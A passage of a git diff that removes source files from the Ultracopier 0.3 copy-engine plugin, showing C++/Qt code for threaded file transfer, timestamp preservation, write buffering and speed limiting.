- if(writeError_source_seeked && writeError_destination_reopened)
- resumeTransferAfterWriteError();
-}
-
-void TransferThread::readThreadIsSeekToZeroAndWait()
-{
- if(writeError_source_seeked)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] double event dropped");
- return;
- }
- writeError_source_seeked=true;
- if(writeError_source_seeked && writeError_destination_reopened)
- resumeTransferAfterWriteError();
-}
-
-void TransferThread::resumeTransferAfterWriteError()
-{
- writeError=false;
-/********************************
- if(canStartTransfer)
- readThread.startRead();
-useless, because the open destination event
-will restart the transfer as normal
-*********************************/
-/*********************************
-if(!canStartTransfer)
- stat=WaitForTheTransfer;
-useless because already do at open event
-**********************************/
- //if is in wait
- if(!canStartTransfer)
- emit checkIfItCanBeResumed();
-}
-
-void TransferThread::readThreadResumeAfterError()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- readError=false;
- writeIsReady();
- readIsReady();
-}
-
-//////////////////////////////////////////////////////////////////
-///////////////////////// Normal event ///////////////////////////
-//////////////////////////////////////////////////////////////////
-
-void TransferThread::readIsStopped()
-{
- if(!sended_state_readStopped)
- {
- sended_state_readStopped=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] emit readIsStopped()");
- emit readStopped();
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] drop dual read stopped");
- readIsFinish();
-}
-
-void TransferThread::writeIsStopped()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- if(!sended_state_writeStopped)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] emit writeStopped()");
- sended_state_writeStopped=true;
- emit writeStopped();
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] double event dropped");
- writeIsFinish();
-}
-
-void TransferThread::timeOfTheBlockCopyFinished()
-{
- readThread.timeOfTheBlockCopyFinished();
-}
-
-//get drive of an file or folder
-QString TransferThread::getDrive(QString fileOrFolder)
-{
- for (int i = 0; i < mountSysPoint.size(); ++i) {
- if(fileOrFolder.startsWith(mountSysPoint.at(i)))
- return mountSysPoint.at(i);
- }
- //if unable to locate the right mount point
- return "";
-}
-
-//set drive list, used in getDrive()
-void TransferThread::setDrive(QStringList drives)
-{
- mountSysPoint=drives;
-}
-
-//fonction to edit the file date time
-bool TransferThread::changeFileDateTime(const QString &source,const QString &destination)
-{
- /*
- if(maxTime>=sourceInfo.lastModified())
- return;
- */
- /** Why not do it with Qt? Because it not support setModificationTime(), and get the time with Qt, that's mean use local time where in C is UTC time */
- #ifdef Q_OS_UNIX
- #ifdef Q_OS_LINUX
- struct stat info;
- stat(source.toLatin1().data(),&info);
- time_t ctime=info.st_ctim.tv_sec;
- time_t actime=info.st_atim.tv_sec;
- time_t modtime=info.st_mtim.tv_sec;
- //this function avalaible on unix and mingw
- utimbuf butime;
- butime.actime=actime;
- butime.modtime=modtime;
- //creation time not exists into unix world
- Q_UNUSED(ctime)
- return utime(destination.toLatin1().data(),&butime)==0;
- #else //mainly for mac
- QFileInfo fileInfo(destination);
- time_t ctime=fileInfo.created().toTime_t();
- time_t actime=fileInfo.lastRead().toTime_t();
- time_t modtime=fileInfo.lastModified().toTime_t();
- //this function avalaible on unix and mingw
- utimbuf butime;
- butime.actime=actime;
- butime.modtime=modtime;
- //creation time not exists into unix world
- Q_UNUSED(ctime)
- return utime(destination.toLatin1().data(),&butime)==0;
- #endif
- #else
- #ifdef Q_OS_WIN32
- #ifdef ULTRACOPIER_PLUGIN_SET_TIME_UNIX_WAY
- struct __stat64 info;
- _stat64(source.toLatin1().data(),&info);
- time_t ctime=info.st_ctime;
- time_t actime=info.st_atime;
- time_t modtime=info.st_mtime;
- //this function avalaible on unix and mingw
- utimbuf butime;
- butime.actime=actime;
- butime.modtime=modtime;
- //creation time not exists into unix world
- Q_UNUSED(ctime)
- return utime(destination.toLatin1().data(),&butime)==0;
- #else
- wchar_t filePath[65535];
- source.toWCharArray(filePath);
- HANDLE hFileSouce = CreateFile(filePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
- destination.toWCharArray(filePath);
- HANDLE hFileDestination = CreateFile(filePath, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
- if(hFileSouce == INVALID_HANDLE_VALUE)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] open failed to read");
- return false;
- }
- if(hFileDestination == INVALID_HANDLE_VALUE)
- {
- CloseHandle(hFileSouce);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] open failed to write");
- return false;
- }
- FILETIME ftCreate, ftAccess, ftWrite;
- if(!GetFileTime(hFileSouce, &ftCreate, &ftAccess, &ftWrite))
- {
- CloseHandle(hFileSouce);
- CloseHandle(hFileDestination);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] unable to get the file time");
- return false;
- }
- if(!SetFileTime(hFileDestination, &ftCreate, &ftAccess, &ftWrite))
- {
- CloseHandle(hFileSouce);
- CloseHandle(hFileDestination);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] unable to set the file time");
- return false;
- }
- CloseHandle(hFileSouce);
- CloseHandle(hFileDestination);
- return true;
- #endif
- #else
- return false;
- #endif
- #endif
- return false;
-}
-
-//skip the copy
-void TransferThread::skip()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start with stat: "+QString::number(transfer_stat));
- switch(transfer_stat)
- {
- case TransferStat_PreOperation:
- case TransferStat_WaitForTheTransfer:
- needSkip=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] case WaitForTheTransfer or PreOperation, readIsReadyVariable: "+QString::number(readIsReadyVariable)+", readIsClosedVariable: "+QString::number(readIsClosedVariable)+", writeIsReadyVariable: "+QString::number(writeIsReadyVariable)+", writeIsClosedVariable: "+QString::number(writeIsClosedVariable));
- //check if all is source and destination is closed
- if(!checkIfAllIsClosed())
- {
- if(readIsReadyVariable && !readIsClosedVariable)
- readThread.stop();
- if(writeIsReadyVariable && !writeIsClosedVariable)
- writeThread.stop();
- }
- break;
- case TransferStat_Transfer:
- needSkip=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] case Transfer, readIsReadyVariable: "+QString::number(readIsReadyVariable)+", readIsClosedVariable: "+QString::number(readIsClosedVariable)+", writeIsReadyVariable: "+QString::number(writeIsReadyVariable)+", writeIsClosedVariable: "+QString::number(writeIsClosedVariable));
- if(!checkIfAllIsClosed())
- {
- if(readIsReadyVariable && !readIsClosedVariable)
- readThread.stop();
- if(writeIsReadyVariable && !writeIsClosedVariable)
- writeThread.stop();
- }
- break;
- case TransferStat_Checksum:
- needSkip=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] case Transfer, readIsReadyVariable: "+QString::number(readIsReadyVariable)+", readIsClosedVariable: "+QString::number(readIsClosedVariable)+", writeIsReadyVariable: "+QString::number(writeIsReadyVariable)+", writeIsClosedVariable: "+QString::number(writeIsClosedVariable));
- if(!checkIfAllIsClosed())
- {
- if(readIsReadyVariable && !readIsClosedVariable)
- readThread.stop();
- if(writeIsReadyVariable && !writeIsClosedVariable)
- writeThread.stop();
- }
- break;
- case TransferStat_PostOperation:
- //do nothing because here is closing...
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] is already in post op");
- break;
- default:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] can skip in this state!");
- return;
- }
-}
-
-//return info about the copied size
-qint64 TransferThread::copiedSize()
-{
- switch(transfer_stat)
- {
- case TransferStat_Transfer:
- case TransferStat_PostOperation:
- return readThread.getLastGoodPosition();
- case TransferStat_Checksum:
- return transferSize;
- default:
- return 0;
- }
-}
-
-//retry after error
-void TransferThread::putAtBottom()
-{
- emit tryPutAtBottom();
-}
-
-void TransferThread::set_osBufferLimit(unsigned int osBufferLimit)
-{
- this->osBufferLimit=osBufferLimit;
-}
-
-#ifdef ULTRACOPIER_PLUGIN_DEBUG
-//to set the id
-void TransferThread::setId(int id)
-{
- this->id=id;
- readThread.setId(id);
- writeThread.setId(id);
-}
-
-QChar TransferThread::readingLetter()
-{
- switch(readThread.stat)
- {
- case ReadThread::Idle:
- return '_';
- break;
- case ReadThread::InodeOperation:
- return 'I';
- break;
- case ReadThread::Read:
- return 'R';
- break;
- case ReadThread::WaitWritePipe:
- return 'W';
- break;
- case ReadThread::Checksum:
- return 'S';
- break;
- default:
- return '?';
- }
-}
-
-QChar TransferThread::writingLetter()
-{
- switch(writeThread.stat)
- {
- case WriteThread::Idle:
- return '_';
- break;
- case WriteThread::InodeOperation:
- return 'I';
- break;
- case WriteThread::Write:
- return 'W';
- break;
- case WriteThread::Close:
- return 'C';
- break;
- case WriteThread::Read:
- return 'R';
- break;
- case WriteThread::Checksum:
- return 'S';
- break;
- default:
- return '?';
- }
-}
-
-#endif
-
-void TransferThread::setMkpathTransfer(QSemaphore *mkpathTransfer)
-{
- this->mkpathTransfer=mkpathTransfer;
- writeThread.setMkpathTransfer(mkpathTransfer);
-}
-
-void TransferThread::set_doChecksum(bool doChecksum)
-{
- this->doChecksum=doChecksum;
-}
-
-void TransferThread::set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible)
-{
- this->checksumIgnoreIfImpossible=checksumIgnoreIfImpossible;
-}
-
-void TransferThread::set_checksumOnlyOnError(bool checksumOnlyOnError)
-{
- this->checksumOnlyOnError=checksumOnlyOnError;
-}
-
-void TransferThread::set_osBuffer(bool osBuffer)
-{
- this->osBuffer=osBuffer;
-}
-
-void TransferThread::set_osBufferLimited(bool osBufferLimited)
-{
- this->osBufferLimited=osBufferLimited;
-}
-
-//not copied size, because that's count to the checksum, ...
-quint64 TransferThread::realByteTransfered()
-{
- switch(transfer_stat)
- {
- case TransferStat_Transfer:
- case TransferStat_PostOperation:
- case TransferStat_Checksum:
- return readThread.getLastGoodPosition();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] transferSize: "+QString::number(transferSize));
- return transferSize;
- default:
- return 0;
- }
-}
-
-void TransferThread::setRenamingRules(QString firstRenamingRule,QString otherRenamingRule)
-{
- this->firstRenamingRule=firstRenamingRule;
- this->otherRenamingRule=otherRenamingRule;
-}
diff --git a/plugins/CopyEngine/Ultracopier-0.3/TransferThread.h b/plugins/CopyEngine/Ultracopier-0.3/TransferThread.h
deleted file mode 100644
index c32ccf3..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/TransferThread.h
+++ /dev/null
@@ -1,218 +0,0 @@
-/** \file TransferThread.h
-\brief Thread changed to manage the inode operation, the signals, canceling, pre and post operations
-\author alpha_one_x86
-\version 0.3
-\date 2011 */
-
-#ifndef TRANSFERTHREAD_H
-#define TRANSFERTHREAD_H
-
-#include <QThread>
-#include <QFileInfo>
-#include <QString>
-#include <QList>
-#include <QStringList>
-#include <QDateTime>
-#include <QDir>
-
-#include "ReadThread.h"
-#include "WriteThread.h"
-#include "Environment.h"
-#include "StructEnumDefinition_CopyEngine.h"
-
-/// \brief Thread changed to manage the inode operation, the signals, canceling, pre and post operations
-class TransferThread : public QThread
-{
- Q_OBJECT
-public:
- explicit TransferThread();
- ~TransferThread();
- /// \brief get transfer stat
- TransferStat getStat();
- /// \brief get drive of an file or folder
- QString getDrive(QString fileOrFolder);
- /// \brief set drive list, used in getDrive()
- void setDrive(QStringList drives);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief to set the id
- void setId(int id);
- /// \brief get the reading letter
- QChar readingLetter();
- /// \brief get the writing letter
- QChar writingLetter();
- #endif
- /// \brief to have semaphore, and try create just one by one
- void setMkpathTransfer(QSemaphore *mkpathTransfer);
- /// \brief to store the transfer id
- quint64 transferId;
- /// \brief to store the transfer size
- quint64 transferSize;
-
- void set_doChecksum(bool doChecksum);
- void set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible);
- void set_checksumOnlyOnError(bool checksumOnlyOnError);
- void set_osBuffer(bool osBuffer);
- void set_osBufferLimited(bool osBufferLimited);
-
- //not copied size, because that's count to the checksum, ...
- quint64 realByteTransfered();
-protected:
- void run();
-signals:
- //to send state
- void preOperationStopped();
- void checkIfItCanBeResumed();
- //void transferStarted();//not sended (and not used then)
- void readStopped();
- void writeStopped();
- void postOperationStopped();
- //get dialog
- void fileAlreadyExists(QFileInfo,QFileInfo,bool isSame);
- void errorOnFile(QFileInfo,QString);
- //internal signal
- void internalStartPostOperation();
- void internalStartPreOperation();
- void internalStartResumeAfterErrorAndSeek();
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- void tryPutAtBottom();
- //force into the right thread
- void internalTryStartTheTransfer();
- /// \brief update the transfer stat
- void pushStat(TransferStat,quint64);
-public slots:
- /// \brief to start the transfer of data
- void startTheTransfer();
- /// \brief to set files to transfer
- void setFiles(const QString &source,const qint64 &size,const QString &destination,const CopyMode &mode);
- /// \brief to set file exists action to do
- void setFileExistsAction(const FileExistsAction &action);
- /// \brief to set the new name of the destination
- void setFileRename(const QString &nameForRename);
- /// \brief to start the transfer of data
- void setAlwaysFileExistsAction(const FileExistsAction &action);
- /// \brief set the copy info and options before runing
- void setRightTransfer(const bool doRightTransfer);
- /// \brief set keep date
- void setKeepDate(const bool keepDate);
- /// \brief set the current max speed in KB/s
- void setMaxSpeed(int maxSpeed);
- /// \brief set block size in KB
- bool setBlockSize(const unsigned int blockSize);
- /// \brief pause the copy
- void pause();
- /// \brief resume the copy
- void resume();
- /// \brief stop the copy
- void stop();
- /// \brief skip the copy
- void skip();
- /// \brief retry after error
- void retryAfterError();
- /// \brief return info about the copied size
- qint64 copiedSize();
- /// \brief put the current file at bottom
- void putAtBottom();
-
- void set_osBufferLimit(unsigned int osBufferLimit);
- void setRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
-private slots:
- void preOperation();
- void readIsReady();
- void writeIsReady();
- void readIsFinish();
- void writeIsFinish();
- void readIsClosed();
- void writeIsClosed();
- void postOperation();
- void getWriteError();
- void getReadError();
- void readChecksumFinish(const QByteArray&);
- void writeChecksumFinish(const QByteArray&);
- void compareChecksum();
- //void syncAfterErrorAndReadFinish();
- void readThreadIsSeekToZeroAndWait();
- void writeThreadIsReopened();
- void readThreadResumeAfterError();
- //to filter the emition of signal
- void readIsStopped();
- void writeIsStopped();
- //speed limitation
- void timeOfTheBlockCopyFinished();
- //force into the right thread
- void internalStartTheTransfer();
-private:
- enum MoveReturn
- {
- MoveReturn_skip=0,
- MoveReturn_moved=1,
- MoveReturn_error=2
- };
- TransferStat transfer_stat;
- ReadThread readThread;
- WriteThread writeThread;
- QString source;
- QString destination;
- CopyMode mode;
- QTimer clockForTheCopySpeed; ///< For the speed throttling
- bool doRightTransfer;
- bool keepDate;
- bool readIsReadyVariable;
- bool writeIsReadyVariable;
- bool readIsOpenVariable;
- bool writeIsOpenVariable;
- bool readIsFinishVariable;
- bool writeIsFinishVariable;
- bool readIsClosedVariable;
- bool writeIsClosedVariable;
- bool canBeMovedDirectlyVariable;
- QByteArray sourceChecksum,destinationChecksum;
- volatile bool stopIt;
- volatile bool canStartTransfer;
- int blockSize;
- bool retry;
- QFileInfo sourceInfo;
- QFileInfo destinationInfo;
- QStringList mountSysPoint;
- qint64 size;
- FileExistsAction fileExistsAction;
- FileExistsAction alwaysDoFileExistsAction;
- bool needSkip,needRemove;
- QDateTime maxTime;
- int id;
- QSemaphore *mkpathTransfer;
- bool doChecksum,real_doChecksum;
- bool checksumIgnoreIfImpossible;
- bool checksumOnlyOnError;
- bool osBuffer;
- bool osBufferLimited;
- unsigned int osBufferLimit;
- QString firstRenamingRule;
- QString otherRenamingRule;
- //error management
- bool writeError,writeError_source_seeked,writeError_destination_reopened;
- bool readError;
- bool fileContentError;
- //different pre-operation
- bool isSame();
- bool destinationExists();
- bool canBeMovedDirectly();
- void tryMoveDirectly();
- void ifCanStartTransfer();
- //fonction to edit the file date time
- bool changeFileDateTime(const QString &source,const QString &destination);
- void resetExtraVariable();
- //error management function
- void resumeTransferAfterWriteError();
- //to send state
- bool sended_state_preOperationStopped;
- bool sended_state_readStopped;
- bool sended_state_writeStopped;
- //different post-operation
- bool checkIfAllIsClosed();
- bool doFilePostOperation();
- //different pre-operation
- void tryOpen();
-};
-
-#endif // TRANSFERTHREAD_H
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Variable.h b/plugins/CopyEngine/Ultracopier-0.3/Variable.h
deleted file mode 100644
index f39b8a6..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Variable.h
+++ /dev/null
@@ -1,35 +0,0 @@
-/** \file Variable.h
-\brief Define the environment variable
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#ifndef VARIABLE_H
-#define VARIABLE_H
-
-//Un-comment this next line to put ultracopier plugin in debug mode
-#define ULTRACOPIER_PLUGIN_DEBUG
-#define ULTRACOPIER_PLUGIN_DEBUG_WINDOW
-#define ULTRACOPIER_PLUGIN_DEBUG_WINDOW_TIMER 150
-
-#define ULTRACOPIER_PLUGIN_MAXBUFFERBLOCK 64
-#define ULTRACOPIER_PLUGIN_MINTIMERINTERVAL 50
-#define ULTRACOPIER_PLUGIN_MAXTIMERINTERVAL 100
-#define ULTRACOPIER_PLUGIN_NUMSEMSPEEDMANAGEMENT 2
-#define ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT 64
-#define ULTRACOPIER_PLUGIN_MAXPARALLELTRANFER 1
-#define ULTRACOPIER_PLUGIN_MINIMALYEAR 1990
-
-//if set, check the inode type at scanFileOrFolder, deprecated into the new algorithm and not used
-#define ULTRACOPIER_PLUGIN_CHECKLISTTYPE
-
-/** \brief Need be greater than 2, but greater than 20 to be efficient */
-#define ULTRACOPIER_PLUGIN_TIME_UPDATE_TRASNFER_LIST 40
-#define ULTRACOPIER_PLUGIN_TIME_UPDATE_PROGRESSION 200
-
-//#define ULTRACOPIER_PLUGIN_SET_TIME_UNIX_WAY
-
-#endif // VARIABLE_H
-
-
-
diff --git a/plugins/CopyEngine/Ultracopier-0.3/WriteThread.cpp b/plugins/CopyEngine/Ultracopier-0.3/WriteThread.cpp
deleted file mode 100644
index 448e8dc..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/WriteThread.cpp
+++ /dev/null
@@ -1,508 +0,0 @@
-#include "WriteThread.h"
-
-#include <QDir>
-
-WriteThread::WriteThread()
-{
- stopIt=false;
- isOpen.release();
- start();
- moveToThread(this);
- setObjectName("write");
- this->mkpathTransfer = mkpathTransfer;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- CurentCopiedSize=0;
- buffer=false;
- putInPause=false;
- needRemoveTheFile=false;
- blockSize=1024*1024;
-}
-
-WriteThread::~WriteThread()
-{
- stopIt=true;
- needRemoveTheFile=true;
- freeBlock.release();
- // useless because stopIt will close all thread, but if thread not runing run it
- //endIsDetected();
- emit internalStartClose();
- isOpen.acquire();
- disconnect(this);
- quit();
- wait();
-}
-
-void WriteThread::run()
-{
- connect(this,SIGNAL(internalStartOpen()), this,SLOT(internalOpen()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartReopen()), this,SLOT(internalReopen()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartWrite()), this,SLOT(internalWrite()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartClose()), this,SLOT(internalClose()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartEndOfFile()), this,SLOT(internalEndOfFile()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartFlushAndSeekToZero()), this,SLOT(internalFlushAndSeekToZero()),Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartChecksum()), this,SLOT(checkSum()), Qt::QueuedConnection);
- exec();
-}
-
-bool WriteThread::internalOpen()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] internalOpen destination: "+name);
- if(stopIt)
- return false;
- if(file.isOpen())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] already open! destination: "+file.fileName());
- return false;
- }
- //set to LISTBLOCKSIZE
- while(freeBlock.available()<ULTRACOPIER_PLUGIN_MAXBUFFERBLOCK)
- freeBlock.release();
- if(freeBlock.available()>ULTRACOPIER_PLUGIN_MAXBUFFERBLOCK)
- freeBlock.acquire(freeBlock.available()-ULTRACOPIER_PLUGIN_MAXBUFFERBLOCK);
- stopIt=false;
- CurentCopiedSize=0;
- endDetected=false;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=InodeOperation;
- #endif
- file.setFileName(name);
- //mkpath check if exists and return true if already exists
- QFileInfo destinationInfo(file);
- QDir destinationFolder;
- {
- mkpathTransfer->acquire();
- if(!destinationFolder.exists(destinationInfo.absolutePath()))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] "+QString("Try create the path: %1")
- .arg(destinationInfo.absolutePath()));
- if(!destinationFolder.mkpath(destinationInfo.absolutePath()))
- {
- if(!destinationFolder.exists(destinationInfo.absolutePath()))
- {
- /// \todo do real folder error here
- errorString_internal="mkpath error on destination";
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Unable create the folder: %1, error: %2")
- .arg(destinationInfo.absolutePath())
- .arg(errorString_internal));
- emit error();
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- return false;
- }
- }
- }
- mkpathTransfer->release();
- }
- if(stopIt)
- return false;
- //try open it
- QIODevice::OpenMode flags=QIODevice::ReadWrite;
- if(!buffer)
- flags|=QIODevice::Unbuffered;
- if(file.open(flags))
- {
- if(stopIt)
- return false;
- file.seek(0);
- if(stopIt)
- return false;
- file.resize(startSize);
- if(stopIt)
- return false;
- emit opened();
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- isOpen.acquire();
- needRemoveTheFile=false;
- return true;
- }
- else
- {
- if(stopIt)
- return false;
- errorString_internal=file.errorString();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Unable to open: %1, error: %2").arg(name).arg(errorString_internal));
- emit error();
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- return false;
- }
-}
-
-void WriteThread::open(const QString &name,const quint64 &startSize,const bool &buffer)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] open destination: "+name);
- if(stopIt)
- return;
- fakeMode=false;
- this->name=name;
- this->startSize=startSize;
- this->buffer=buffer;
- endDetected=false;
- emit internalStartOpen();
-}
-
-void WriteThread::endIsDetected()
-{
- if(endDetected)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] double event dropped");
- return;
- }
- endDetected=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- emit internalStartEndOfFile();
-}
-
-QString WriteThread::errorString()
-{
- return errorString_internal;
-}
-
-bool WriteThread::write(const QByteArray &data)
-{
- if(stopIt)
- return false;
- freeBlock.acquire();
- if(stopIt)
- return false;
- {
- QMutexLocker lock_mutex(&accessList);
- theBlockList.append(data);
- }
- emit internalStartWrite();
- return true;
-}
-
-void WriteThread::stop()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] stop()");
- needRemoveTheFile=true;
- stopIt=true;
- if(isOpen.available()>0)
- return;
- freeBlock.release();
- // useless because stopIt will close all thread, but if thread not runing run it
- endIsDetected();
- //for the stop for skip: void TransferThread::skip()
- emit internalStartClose();
-}
-
-void WriteThread::flushBuffer()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- freeBlock.release();
- freeBlock.acquire();
- {
- QMutexLocker lock_mutex(&accessList);
- theBlockList.clear();
- }
-}
-
-void WriteThread::internalEndOfFile()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] writeIsStopped");
- emit writeIsStopped();
-}
-
-void WriteThread::internalWrite()
-{
- if(stopIt)
- return;
- //read one block
- if(theBlockList.size()<=0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] End detected of the file");
- return;
- }
- else
- {
- QMutexLocker lock_mutex(&accessList);
- blockArray=theBlockList.first();
- theBlockList.removeFirst();
- }
- //write one block
- freeBlock.release();
-
- if(stopIt)
- return;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Write;
- #endif
- bytesWriten=file.write(blockArray);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- //mutex for stream this data
- if(CurentCopiedSize==0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] emit writeIsStarted()");
- emit writeIsStarted();
- }
- CurentCopiedSize+=bytesWriten;
- if(stopIt)
- return;
- if(file.error()!=QFile::NoError)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Error in writing: %1 (%2)").arg(file.errorString()).arg(file.error()));
- errorString_internal=QString("Error in writing: %1 (%2)").arg(file.errorString()).arg(file.error());
- stopIt=true;
- emit error();
- return;
- }
- if(bytesWriten!=blockArray.size())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Error in writing, bytesWriten: %1, blockArray.size(): %2").arg(bytesWriten).arg(blockArray.size()));
- errorString_internal=QString("Error in writing, bytesWriten: %1, blockArray.size(): %2").arg(bytesWriten).arg(blockArray.size());
- stopIt=true;
- emit error();
- return;
- }
- lastGoodPosition+=bytesWriten;
-}
-
-void WriteThread::postOperation()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- emit internalStartClose();
-}
-
-void WriteThread::internalClose(bool emitSignal)
-{
- /// \note never send signal here, because it's called by the destructor
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Close;
- #endif
- if(!fakeMode && file.isOpen())
- {
- if(!needRemoveTheFile)
- {
- if(startSize!=CurentCopiedSize)
- file.resize(CurentCopiedSize);
- }
- file.close();
- if(needRemoveTheFile)
- {
- if(file.remove())
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] unable to remove the destination file");
- }
- needRemoveTheFile=false;
- }
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- if(emitSignal)
- emit closed();
-
- /// \note always the last of this function
- if(!fakeMode)
- isOpen.release();
-}
-
-void WriteThread::internalReopen()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- internalClose(false);
- flushBuffer();
- stopIt=false;
- CurentCopiedSize=0;
- if(internalOpen())
- emit reopened();
-}
-
-void WriteThread::reopen()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- stopIt=true;
- endDetected=false;
- emit internalStartReopen();
-}
-
-#ifdef ULTRACOPIER_PLUGIN_DEBUG
-//to set the id
-void WriteThread::setId(int id)
-{
- this->id=id;
-}
-#endif
-
-/// \brief do the fake open
-void WriteThread::fakeOpen()
-{
- fakeMode=true;
- emit opened();
-}
-
-/// \brief do the fake writeIsStarted
-void WriteThread::fakeWriteIsStarted()
-{
- emit writeIsStarted();
-}
-
-/// \brief do the fake writeIsStopped
-void WriteThread::fakeWriteIsStopped()
-{
- emit writeIsStopped();
-}
-
-/// do the checksum
-void WriteThread::startCheckSum()
-{
- emit internalStartChecksum();
-}
-
-/** \brief set block size
-\param block the new block size in KB
-\return Return true if succes */
-bool WriteThread::setBlockSize(const int blockSize)
-{
- if(blockSize<1 || blockSize>16384)
- {
- this->blockSize=blockSize*1024;
- //set the new max speed because the timer have changed
- setMaxSpeed(maxSpeed);
- return true;
- }
- else
- return false;
-}
-
-/*! \brief Set the max speed
-\param tempMaxSpeed Set the max speed in KB/s, 0 for no limit */
-int WriteThread::setMaxSpeed(const int maxSpeed)
-{
- if(this->maxSpeed==0 && maxSpeed==0 && waitNewClockForSpeed.available()>0)
- waitNewClockForSpeed.tryAcquire(waitNewClockForSpeed.available());
- this->maxSpeed=maxSpeed;
- if(this->maxSpeed>0)
- {
- int NewInterval,newMultiForBigSpeed=0;
- do
- {
- newMultiForBigSpeed++;
- NewInterval=(blockSize*newMultiForBigSpeed)/(this->maxSpeed);
- }
- while (NewInterval<ULTRACOPIER_PLUGIN_MINTIMERINTERVAL);
- if(NewInterval>ULTRACOPIER_PLUGIN_MAXTIMERINTERVAL)
- {
- NewInterval=ULTRACOPIER_PLUGIN_MAXTIMERINTERVAL;
- newMultiForBigSpeed=1;
- blockSize=this->maxSpeed*NewInterval;
- }
- MultiForBigSpeed=newMultiForBigSpeed;
- return NewInterval;
- }
- else
- {
- waitNewClockForSpeed.release();
- return 0;
- }
-}
-
-/// \brief For give timer every X ms
